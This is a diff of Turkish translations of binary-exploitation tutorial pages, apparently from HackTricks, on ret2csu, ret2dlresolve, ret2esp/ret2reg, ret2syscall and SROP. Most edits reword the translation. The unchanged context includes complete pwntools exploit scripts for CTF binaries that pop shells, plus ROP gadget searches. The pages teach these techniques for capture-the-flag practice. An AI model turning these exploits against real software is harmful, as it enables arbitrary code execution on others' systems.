- `rbp` ve `rbx` aynı değere sahip olmalıdır, aksi takdirde atlama gerçekleşmez.
 | 
			
		||||
- Dikkate almanız gereken bazı atlanan pops var.
 | 
			
		||||
- `rbp` ve `rbx` aynı değere sahip olmalıdır, aksi takdirde atlama gerçekleşir.
 | 
			
		||||
- Dikkate almanız gereken bazı atlanmış pop'lar vardır.
 | 
			
		||||
 | 
			
		||||
## RDI ve RSI
 | 
			
		||||
 | 
			
		||||
**`rdi`** ve **`rsi`**'yi ret2csu gadget'ından kontrol etmenin bir başka yolu, belirli offset'lere erişmektir:
 | 
			
		||||
**`rdi`** ve **`rsi`**'yi ret2csu gadget'ından kontrol etmenin bir diğer yolu, belirli ofsetlere erişmektir:
 | 
			
		||||
 | 
			
		||||
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
@ -79,14 +79,14 @@ brop-blind-return-oriented-programming.md
 | 
			
		||||
 | 
			
		||||
### Çağrıyı Kullanma
 | 
			
		||||
 | 
			
		||||
Bir syscall yapmak veya `write()` gibi bir fonksiyonu çağırmak istediğinizi hayal edin, ancak `rdx` ve `rsi` register'larında parametre olarak belirli değerlere ihtiyacınız var. Normalde, bu register'ları doğrudan ayarlayan gadget'lar ararsınız, ancak bulamazsınız.
 | 
			
		||||
Bir syscall yapmak veya `write()` gibi bir fonksiyonu çağırmak istediğinizi hayal edin, ancak `rdx` ve `rsi` kayıtlarında parametre olarak belirli değerlere ihtiyacınız var. Normalde, bu kayıtları doğrudan ayarlayan gadget'lar ararsınız, ancak bulamazsınız.
 | 
			
		||||
 | 
			
		||||
İşte burada **ret2csu** devreye giriyor:
 | 
			
		||||
 | 
			
		||||
1. **Register'ları Ayarlayın**: İlk sihirli gadget'ı kullanarak stack'ten değerleri alıp rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) ve r15'e yerleştirin.
 | 
			
		||||
2. **İkinci Gadget'ı Kullanın**: Bu register'lar ayarlandığında, ikinci gadget'ı kullanırsınız. Bu, seçtiğiniz değerleri `rdx` ve `rsi`'ye (sırasıyla r14 ve r13'ten) taşımanıza olanak tanır ve bir fonksiyon çağrısı için parametreleri hazırlar. Ayrıca, `r15` ve `rbx`'i kontrol ederek, programın hesapladığınız adreste bulunan bir fonksiyonu çağırmasını sağlayabilirsiniz ve bunu `[r15 + rbx*8]` içine yerleştirebilirsiniz.
 | 
			
		||||
1. **Kayıtları Ayarlayın**: İlk sihirli gadget'ı kullanarak yığın üzerindeki değerleri rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) ve r15'e pop'layın.
 | 
			
		||||
2. **İkinci Gadget'ı Kullanın**: Bu kayıtlar ayarlandığında, ikinci gadget'ı kullanırsınız. Bu, seçtiğiniz değerleri `rdx` ve `rsi`'ye (sırasıyla r14 ve r13'ten) taşımanıza olanak tanır ve bir fonksiyon çağrısı için parametreleri hazırlar. Ayrıca, `r15` ve `rbx`'i kontrol ederek, programın hesapladığınız adreste bulunan bir fonksiyonu çağırmasını sağlayabilirsiniz ve bunu `[r15 + rbx*8]` adresine yerleştirebilirsiniz.
 | 
			
		||||
 | 
			
		||||
Bu tekniği kullanan ve burada açıklayan bir [**örneğiniz var**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) ve bu, kullanılan son exploit'tir:
 | 
			
		||||
Bu tekniği kullanan ve burada açıklayan bir [**örneğiniz var**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) ve bu, kullanılan son istismar:
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -111,11 +111,11 @@ p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
 | 
			
		||||
print(p.recvline())                        # should receive "Awesome work!"
 | 
			
		||||
```
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> Önceki istismarının bir **`RCE`** gerçekleştirmek için tasarlanmadığını, sadece **`win`** adlı bir fonksiyonu çağırmak için tasarlandığını (ROP zincirinde `win` adresini stdin'den alarak ve bunu r15'te saklayarak) ve üçüncü bir argüman olarak `0xdeadbeefcafed00d` değerini kullandığını unutmayın.
 | 
			
		||||
> Önceki exploit'in bir **`RCE`** gerçekleştirmek için tasarlanmadığını, sadece **`win`** adlı bir fonksiyonu çağırmak için tasarlandığını (ROP zincirinde `win` adresini stdin'den alarak ve bunu r15'te saklayarak) ve üçüncü bir argüman olarak `0xdeadbeefcafed00d` değerini kullandığını unutmayın.
 | 
			
		||||
 | 
			
		||||
### Çağrıyı atlayarak ret'e ulaşma
 | 
			
		||||
 | 
			
		||||
Aşağıdaki istismar, **ret2csu**'nun kullanıldığı [**bu sayfadan**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) çıkarılmıştır, ancak çağrıyı kullanmak yerine, **karşılaştırmaları atlayarak ve çağrıdan sonra `ret`'e ulaşmaktadır:**
 | 
			
		||||
Aşağıdaki exploit, **ret2csu**'nun kullanıldığı [**bu sayfadan**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) çıkarılmıştır, ancak çağrıyı kullanmak yerine, **karşılaştırmaları atlayarak ve çağrıdan sonra `ret`'e ulaşmaktadır:**
 | 
			
		||||
```python
 | 
			
		||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
 | 
			
		||||
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
 | 
			
		||||
@ -167,6 +167,6 @@ target.interactive()
 | 
			
		||||
```
 | 
			
		||||
### Neden Sadece libc Kullanmayalım?
 | 
			
		||||
 | 
			
		||||
Genellikle bu durumlar da [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) ile savunmasızdır, ancak bazen libc'de doğrudan bulduğunuz gadget'larla kolayca kontrol edilebilen parametrelerden daha fazlasını kontrol etmeniz gerekir. Örneğin, `write()` fonksiyonu üç parametre gerektirir ve **bunları doğrudan ayarlamak için gadget bulmak mümkün olmayabilir**.
 | 
			
		||||
Genellikle bu durumlar da [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html) ile savunmasızdır, ancak bazen libc'de doğrudan bulduğunuz gadget'larla kolayca kontrol edilebilecek parametrelerden daha fazlasını kontrol etmeniz gerekir. Örneğin, `write()` fonksiyonu üç parametre gerektirir ve **bunların hepsini doğrudan ayarlamak için gadget bulmak mümkün olmayabilir**.
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -8,12 +8,12 @@
 | 
			
		||||
 | 
			
		||||
**`_dl_runtime_resolve`** fonksiyonu, belirtilen sembolü **çözmek** için ihtiyaç duyduğu bazı yapıların yığın referanslarını alır.
 | 
			
		||||
 | 
			
		||||
Bu nedenle, dinamik bağlantılı çözümlemenin istenen sembolü (örneğin **`system`** fonksiyonu) çözmesi için **tüm bu yapıları sahtelemek** mümkündür ve bunu yapılandırılmış bir parametre ile çağırmak (örneğin **`system('/bin/sh')`**) mümkündür.
 | 
			
		||||
Bu nedenle, dinamik bağlantılı çözümlemenin istenen sembolü (örneğin **`system`** fonksiyonu) çözmesi için **tüm bu yapıları sahte hale getirmek** mümkündür ve bunu yapılandırılmış bir parametre ile çağırmak (örneğin **`system('/bin/sh')`**) mümkündür.
 | 
			
		||||
 | 
			
		||||
Genellikle, tüm bu yapılar, yazılabilir bir bellek üzerinde **`read`** çağrısı yapan bir **ilk ROP zinciri** oluşturarak sahtelenir, ardından **yapılar** ve **`'/bin/sh'`** dizesi, bilinen bir konumda saklanmak üzere okunur ve ardından ROP zinciri **`_dl_runtime_resolve`** çağrısı yaparak devam eder, sahte yapılardaki **`system`** adresini **çözmesini** sağlar ve bu adresi **`'/bin/sh'`** adresi ile çağırır.
 | 
			
		||||
Genellikle, tüm bu yapılar, yazılabilir bir bellek üzerinde **`read`** çağrısı yapan bir **ilk ROP zinciri** oluşturarak sahte hale getirilir, ardından **yapılar** ve **`'/bin/sh'`** dizesi, bilinen bir konumda saklanmak üzere okunur ve ardından ROP zinciri **`_dl_runtime_resolve`** çağrısı yaparak devam eder, sahte yapılardaki **`system`** adresini **çözmesini** sağlar ve bu adresi **`'/bin/sh'`** adresi ile çağırır.
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> Bu teknik, özellikle syscall gadget'ları yoksa (örneğin [**ret2syscall**](rop-syscall-execv/) veya [SROP](srop-sigreturn-oriented-programming/) gibi teknikler kullanmak için) ve libc adreslerini sızdırmanın bir yolu yoksa faydalıdır.
 | 
			
		||||
> Bu teknik, özellikle syscall gadget'ları yoksa (örneğin [**ret2syscall**](rop-syscall-execv/index.html) veya [SROP](srop-sigreturn-oriented-programming/index.html) gibi teknikler kullanmak için) ve libc adreslerini sızdırmanın yolları yoksa faydalıdır.
 | 
			
		||||
 | 
			
		||||
Bu teknik hakkında güzel bir açıklama için videonun ikinci yarısına bakın:
 | 
			
		||||
 | 
			
		||||
@ -30,7 +30,7 @@ Ya da adım adım açıklama için bu sayfalara göz atın:
 | 
			
		||||
 | 
			
		||||
1. Bazı yerlerde sahte yapılar yazın
 | 
			
		||||
2. system'ın ilk argümanını ayarlayın (`$rdi = &'/bin/sh'`)
 | 
			
		||||
3. **`_dl_runtime_resolve`** çağrısı için yapılarının adreslerini yığında ayarlayın
 | 
			
		||||
3. **`_dl_runtime_resolve`** çağrısı için yığında yapıların adreslerini ayarlayın
 | 
			
		||||
4. **Çağırın** `_dl_runtime_resolve`
 | 
			
		||||
5. **`system`** çözülecek ve `'/bin/sh'` argümanı ile çağrılacaktır
 | 
			
		||||
 | 
			
		||||
@ -188,6 +188,6 @@ target.interactive()
 | 
			
		||||
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
 | 
			
		||||
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
 | 
			
		||||
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
 | 
			
		||||
- 32bit, relro yok, canary yok, nx, pie yok, temel küçük tampon taşması ve dönüş. Bunu istismar etmek için, bof tekrar `read` çağrısı yapmak için kullanılır, `.bss` bölümünde ve daha büyük bir boyutta, `system` yüklemek için `dlresolve` sahte tablolarını oraya depolamak için, ana fonksiyona geri dönmek ve başlangıçtaki bof'u yeniden kullanarak dlresolve'u çağırmak ve ardından `system('/bin/sh')` çağırmak için.
 | 
			
		||||
- 32bit, relro yok, canary yok, nx, pie yok, temel küçük buffer overflow ve return. Bunu istismar etmek için bof, `read`'i tekrar çağırmak için kullanılır, `.bss` bölümünde daha büyük bir boyutla, `system`'ı yüklemek için `dlresolve` sahte tablolarını oraya depolamak üzere, main'e geri dönmek ve başlangıçtaki bof'u yeniden kullanarak dlresolve'u çağırmak ve ardından `system('/bin/sh')` çağırmak için. 
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -4,15 +4,15 @@
 | 
			
		||||
 | 
			
		||||
## **Ret2esp**
 | 
			
		||||
 | 
			
		||||
**ESP (Yığın Göstergesi) her zaman yığının en üstüne işaret ettiği için**, bu teknik EIP'yi (Talimat Göstergesi) bir **`jmp esp`** veya **`call esp`** talimatının adresi ile değiştirmeyi içerir. Bunu yaparak, shellcode, üzerine yazılmış EIP'nin hemen arkasına yerleştirilir. `ret` talimatı çalıştırıldığında, ESP bir sonraki adrese işaret eder, tam olarak shellcode'un saklandığı yere.
 | 
			
		||||
**Çünkü ESP (Yığın Göstergesi) her zaman yığının en üstüne işaret eder**, bu teknik EIP'yi (Talimat Göstergesi) bir **`jmp esp`** veya **`call esp`** talimatının adresi ile değiştirmeyi içerir. Bunu yaparak, shellcode, üzerine yazılmış EIP'nin hemen arkasına yerleştirilir. `ret` talimatı çalıştırıldığında, ESP bir sonraki adrese işaret eder, tam olarak shellcode'un saklandığı yere.
 | 
			
		||||
 | 
			
		||||
Eğer **Adres Alanı Düzeni Rastgeleleştirmesi (ASLR)** Windows veya Linux'ta etkin değilse, paylaşılan kütüphanelerde bulunan `jmp esp` veya `call esp` talimatlarını kullanmak mümkündür. Ancak, [**ASLR**](../common-binary-protections-and-bypasses/aslr/) aktif olduğunda, bu talimatları bulmak için savunmasız programın kendisine bakmak gerekebilir (ve [**PIE**](../common-binary-protections-and-bypasses/pie/) ile başa çıkmanız gerekebilir).
 | 
			
		||||
Eğer **Adres Alanı Düzeni Rastgeleleştirmesi (ASLR)** Windows veya Linux'ta etkin değilse, paylaşılan kütüphanelerde bulunan `jmp esp` veya `call esp` talimatlarını kullanmak mümkündür. Ancak, [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) aktif olduğunda, bu talimatları bulmak için savunmasız programın kendisine bakmak gerekebilir (ve [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) ile başa çıkmanız gerekebilir).
 | 
			
		||||
 | 
			
		||||
Ayrıca, shellcode'u **EIP bozulmasından sonra** yerleştirebilmek, yığın ortasında değil, işlevin çalışması sırasında gerçekleştirilen herhangi bir `push` veya `pop` talimatının shellcode ile çakışmamasını sağlar. Bu çakışma, shellcode'un işlevin yığınının ortasına yerleştirilmesi durumunda meydana gelebilir.
 | 
			
		||||
Ayrıca, shellcode'u **EIP bozulmasından sonra** yerleştirebilmek, yığın içinde ortada değil, yığının en üstünde yer almasını sağlamak, işlevin çalışması sırasında gerçekleştirilen herhangi bir `push` veya `pop` talimatının shellcode ile çakışmamasını garanti eder. Bu çakışma, shellcode'un işlevin yığınının ortasına yerleştirilmesi durumunda meydana gelebilir.
 | 
			
		||||
 | 
			
		||||
### Alan eksikliği
 | 
			
		||||
 | 
			
		||||
Eğer RIP'yi üzerine yazdıktan sonra yazmak için alan eksikliği yaşıyorsanız (belki sadece birkaç bayt), başlangıçta bir **`jmp`** shellcode'u yazın:
 | 
			
		||||
Eğer RIP'yi üzerine yazdıktan sonra yazmak için alan eksikse (belki sadece birkaç bayt), başlangıçta bir **`jmp`** shellcode'u yazın:
 | 
			
		||||
```armasm
 | 
			
		||||
sub rsp, 0x30
 | 
			
		||||
jmp rsp
 | 
			
		||||
@ -21,7 +21,7 @@ Ve shellcode'u yığın içinde erken yazın.
 | 
			
		||||
 | 
			
		||||
### Örnek
 | 
			
		||||
 | 
			
		||||
Bu tekniğin bir örneğini [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) adresinde, son bir istismar ile bulabilirsiniz:
 | 
			
		||||
Bu tekniğin bir örneğini [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) adresinde bulabilirsiniz ve son exploit şöyle:
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -41,7 +41,7 @@ pause()
 | 
			
		||||
p.sendlineafter('RSP!\n', payload)
 | 
			
		||||
p.interactive()
 | 
			
		||||
```
 | 
			
		||||
Bu tekniğin bir başka örneğini [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html) adresinde görebilirsiniz. NX etkinleştirilmeden bir buffer overflow var, `$esp` adresini **küçültmek için** bir gadget kullanılıyor ve ardından shellcode'a atlamak için `jmp esp;` kullanılıyor:
 | 
			
		||||
Bu tekniğin başka bir örneğini [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html) adresinde görebilirsiniz. NX etkinleştirilmeden bir buffer overflow var, `$esp` adresini **küçültmek için bir gadget** kullanılıyor ve ardından shellcode'a atlamak için `jmp esp;` kullanılıyor:
 | 
			
		||||
```python
 | 
			
		||||
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
 | 
			
		||||
from pwn import *
 | 
			
		||||
@ -78,7 +78,7 @@ target.interactive()
 | 
			
		||||
```
 | 
			
		||||
## Ret2reg
 | 
			
		||||
 | 
			
		||||
Benzer şekilde, bir fonksiyonun shellcode'un saklandığı adresi döndüğünü biliyorsak, **`call eax`** veya **`jmp eax`** talimatlarını (bilinen **ret2eax** tekniği) kullanarak shellcode'umuzu çalıştırmanın başka bir yolunu sunabiliriz. Eax gibi, **ilginç bir adres** içeren **herhangi bir başka kayıt** da kullanılabilir (**ret2reg**).
 | 
			
		||||
Benzer şekilde, bir fonksiyonun shellcode'un saklandığı adresi döndürdüğünü biliyorsak, **`call eax`** veya **`jmp eax`** talimatlarını (bilinen **ret2eax** tekniği) kullanarak shellcode'umuzu çalıştırmanın başka bir yolunu sunabiliriz. Eax gibi, **ilginç bir adres** içeren **herhangi bir başka kayıt** da kullanılabilir (**ret2reg**).
 | 
			
		||||
 | 
			
		||||
### Örnek
 | 
			
		||||
 | 
			
		||||
@ -86,7 +86,7 @@ Burada bazı örnekler bulabilirsiniz: 
 | 
			
		||||
 | 
			
		||||
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
 | 
			
		||||
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
 | 
			
		||||
- **`strcpy`** shellcode'un saklandığı buffer'ın adresini **`eax`**'de saklayacak ve **`eax`** üzerine yazılmadığı için `ret2eax` kullanmak mümkün.
 | 
			
		||||
- **`strcpy`** shellcode'un saklandığı tamponun adresini **`eax`**'de saklayacak ve **`eax`** üzerine yazılmadığı için `ret2eax` kullanmak mümkün.
 | 
			
		||||
 | 
			
		||||
## ARM64
 | 
			
		||||
 | 
			
		||||
@ -98,13 +98,13 @@ for i in `seq 1 30`; do
 | 
			
		||||
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
 | 
			
		||||
done
 | 
			
		||||
```
 | 
			
		||||
Keşfettiğim tek şey, sp'nin atlamadan önce kopyalandığı kayıt değerini değiştirecek olanlardı (bu yüzden işe yaramaz hale gelecekti):
 | 
			
		||||
Keşfettiğim tek yöntem, sp'nin kopyalandığı kayıt defterinin değerini değiştirmekti (bu yüzden işe yaramaz hale gelecekti):
 | 
			
		||||
 | 
			
		||||
<figure><img src="../../images/image (1224).png" alt=""><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
### Ret2reg
 | 
			
		||||
 | 
			
		||||
Eğer bir kaydın ilginç bir adresi varsa, uygun talimatı bulup ona atlamak mümkündür. Şöyle bir şey kullanabilirsiniz:
 | 
			
		||||
Eğer bir kayıt defteri ilginç bir adrese sahipse, uygun talimatı bulup ona atlamak mümkündür. Şöyle bir şey kullanabilirsiniz:
 | 
			
		||||
```bash
 | 
			
		||||
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
 | 
			
		||||
```
 | 
			
		||||
@ -135,7 +135,7 @@ do_stuff(2)
 | 
			
		||||
return 0;
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Fonksiyonun ayrıştırmasını kontrol ettiğimizde, **tamponun adresinin** (bof'a karşı hassas ve **kullanıcı tarafından kontrol edilen**) **`x0`'da saklandığını** görebiliriz, tampon taşmasından dönerken:
 | 
			
		||||
Fonksiyonun ayrıştırmasını kontrol ettiğimizde, **tamponun adresinin** (bof'a karşı hassas ve **kullanıcı tarafından kontrol edilen**) **`x0`'da saklandığını** görebiliriz, bu da tampon taşmasından dönerken gerçekleşir:
 | 
			
		||||
 | 
			
		||||
<figure><img src="../../images/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
@ -162,12 +162,12 @@ p.interactive()
 | 
			
		||||
> Eğer `fgets` yerine **`read`** gibi bir şey kullanılsaydı, **sadece dönüş adresinin son 2 baytını** değiştirerek `br x0;` talimatına geri dönmek mümkün olabilirdi, tam adresi bilmeye gerek kalmadan.\
 | 
			
		||||
> `fgets` ile bu işe yaramaz çünkü **sonuna bir null (0x00) baytı ekler**.
 | 
			
		||||
 | 
			
		||||
## Koruma Önlemleri
 | 
			
		||||
## Protections
 | 
			
		||||
 | 
			
		||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Yığın çalıştırılabilir değilse, bu işe yaramaz çünkü shellcode'u yığında yerleştirip çalıştırmak için atlamamız gerekiyor.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Bunlar esp veya başka bir kayda atlamak için bir talimat bulmayı zorlaştırabilir.
 | 
			
		||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Yığın çalıştırılabilir değilse, shellcode'u yığında yerleştirip çalıştırmak için atlama yapmamız gerektiğinden bu yardımcı olmaz.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Bunlar esp veya başka bir kayda atlamak için bir talimat bulmayı zorlaştırabilir.
 | 
			
		||||
 | 
			
		||||
## Referanslar
 | 
			
		||||
## References
 | 
			
		||||
 | 
			
		||||
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
 | 
			
		||||
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
 | 
			
		||||
 | 
			
		||||
@ -13,10 +13,10 @@ Bu, Ret2lib'e benzer, ancak bu durumda bir kütüphaneden bir fonksiyon çağır
 | 
			
		||||
- `rsi: 0 argüman geçmediğini belirt`
 | 
			
		||||
- `rdx: 0 ortam değişkeni geçmediğini belirt`
 | 
			
		||||
 | 
			
		||||
Yani, temelde `/bin/sh` dizesini bir yere yazmak ve ardından `syscall`'ı gerçekleştirmek gerekiyor (yığın kontrolü için gereken padding'i dikkate alarak). Bunun için, `/bin/sh`'yi bilinen bir alana yazmak için bir gadget'a ihtiyacımız var.
 | 
			
		||||
Yani, temelde `/bin/sh` dizesini bir yere yazmak ve ardından `syscall`'ı gerçekleştirmek gerekiyor (yığın kontrolü için gereken padding'i göz önünde bulundurarak). Bunun için, `/bin/sh`'yi bilinen bir alana yazmak için bir gadget'a ihtiyacımız var.
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> Çağrılacak başka ilginç bir sistem çağrısı **`mprotect`**'dir; bu, bir saldırganın **bellekteki bir sayfanın izinlerini değiştirmesine** olanak tanır. Bu, [**ret2shellcode**](../../stack-overflow/stack-shellcode/) ile birleştirilebilir.
 | 
			
		||||
> Çağrılacak başka ilginç bir sistem çağrısı **`mprotect`**'dir; bu, bir saldırganın **bellekteki bir sayfanın izinlerini değiştirmesine** olanak tanır. Bu, [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html) ile birleştirilebilir.
 | 
			
		||||
 | 
			
		||||
## Kayıt gadget'ları
 | 
			
		||||
 | 
			
		||||
@ -28,13 +28,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
 | 
			
		||||
0x00000000004101f3 : pop rsi ; ret
 | 
			
		||||
0x00000000004498b5 : pop rdx ; ret
 | 
			
		||||
```
 | 
			
		||||
Bu adreslerle **yığın içeriğini yazmak ve kayıtlarına yüklemek** mümkündür.
 | 
			
		||||
Bu adreslerle **stack'teki içeriği yazmak ve register'lara yüklemek** mümkündür.
 | 
			
		||||
 | 
			
		||||
## Dize yaz
 | 
			
		||||
 | 
			
		||||
### Yazılabilir bellek
 | 
			
		||||
 | 
			
		||||
Öncelikle bellek içinde yazılabilir bir yer bulmanız gerekiyor.
 | 
			
		||||
Öncelikle bellekte yazılabilir bir yer bulmanız gerekiyor.
 | 
			
		||||
```bash
 | 
			
		||||
gef> vmmap
 | 
			
		||||
[ Legend:  Code | Heap | Stack ]
 | 
			
		||||
@ -45,7 +45,7 @@ Start              End                Offset             Perm Path
 | 
			
		||||
```
 | 
			
		||||
### Belleğe Dize Yaz
 | 
			
		||||
 | 
			
		||||
Sonra bu adrese rastgele içerik yazmanın bir yolunu bulmanız gerekiyor.
 | 
			
		||||
Sonra, bu adrese rastgele içerik yazmanın bir yolunu bulmanız gerekiyor.
 | 
			
		||||
```python
 | 
			
		||||
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
 | 
			
		||||
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
 | 
			
		||||
@ -174,7 +174,7 @@ target.interactive()
 | 
			
		||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
 | 
			
		||||
- 64 bit, PIE yok, nx, bazı bellek alanlarına `execve` çağırmak için bir ROP yazın ve oraya atlayın.
 | 
			
		||||
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
 | 
			
		||||
- 64 bit, nx, PIE yok, bazı bellek alanlarına `execve` çağırmak için bir ROP yazın ve oraya atlayın. Yığın üzerinde yazmak için matematiksel işlemler gerçekleştiren bir fonksiyon istismar edilmektedir.
 | 
			
		||||
- 64 bit, nx, PIE yok, bazı bellek alanlarına `execve` çağırmak için bir ROP yazın ve oraya atlayın. Yığın üzerinde matematiksel işlemler gerçekleştiren bir fonksiyon istismar edilmektedir.
 | 
			
		||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
 | 
			
		||||
- 64 bit, PIE yok, nx, BF canary, bazı bellek alanlarına `execve` çağırmak için bir ROP yazın ve oraya atlayın.
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -11,7 +11,7 @@ Sinyal işleyici tamamlandıktan sonra, programın **önceki durumuna devam etme
 | 
			
		||||
İlginç olan, **`sigreturn`**'ın programın durumunu nasıl geri yüklediğidir: **tüm CPU'nun kayıt değerlerini yığında saklayarak** bunu yapar. Sinyal artık engellenmediğinde, **`sigreturn` bu değerleri yığından çıkarır**, böylece CPU'nun kayıtlarını sinyal işlenmeden önceki durumuna sıfırlar. Bu, yığının mevcut üst kısmını gösteren yığın işaretçi kaydı (RSP) dahil olmak üzere tüm kayıtları içerir.
 | 
			
		||||
 | 
			
		||||
> [!CAUTION]
 | 
			
		||||
> Bir ROP zincirinden **`sigreturn`** syscall'ını çağırmak ve **yüklemek istediğimiz kayıt değerlerini** **yığına** eklemek, tüm kayıt değerlerini **kontrol etmemizi** ve dolayısıyla örneğin `execve` syscall'ını `/bin/sh` ile **çağırmamızı** sağlar.
 | 
			
		||||
> Bir ROP zincirinden **`sigreturn`** syscall'ını çağırmak ve **yüklemek istediğimiz kayıt değerlerini** **yığına** eklemek, tüm kayıt değerlerini **kontrol etmemizi** ve dolayısıyla örneğin `execve` syscall'ını `/bin/sh` ile **çağırmamızı** mümkün kılar.
 | 
			
		||||
 | 
			
		||||
Bu durumun, diğer Ret2syscall'ları çağırmak için parametreleri kontrol etmeyi çok daha kolay hale getiren bir **Ret2syscall türü** olduğunu unutmayın:
 | 
			
		||||
 | 
			
		||||
@ -63,7 +63,7 @@ https://youtu.be/ADULSwnQs-s?feature=shared
 | 
			
		||||
 | 
			
		||||
## Örnek
 | 
			
		||||
 | 
			
		||||
[**Burada bir örnek bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) burada signeturn çağrısının ROP aracılığıyla oluşturulduğu (rxa'ya `0xf` değeri yerleştirilerek) gösterilmektedir, ancak buradan itibaren son istismar budur:
 | 
			
		||||
[**Burada bir örnek bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) burada signeturn çağrısının ROP aracılığıyla oluşturulduğu (rxa'ya `0xf` değeri koyarak) gösterilmektedir, ancak buradan itibaren son istismar budur:
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -90,7 +90,7 @@ payload += bytes(frame)
 | 
			
		||||
p.sendline(payload)
 | 
			
		||||
p.interactive()
 | 
			
		||||
```
 | 
			
		||||
Ayrıca [**buradan istismar edin**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) kontrol edin, burada ikili dosya zaten `sigreturn` çağrıyordu ve bu nedenle bunu bir **ROP** ile inşa etmek gerekmez:
 | 
			
		||||
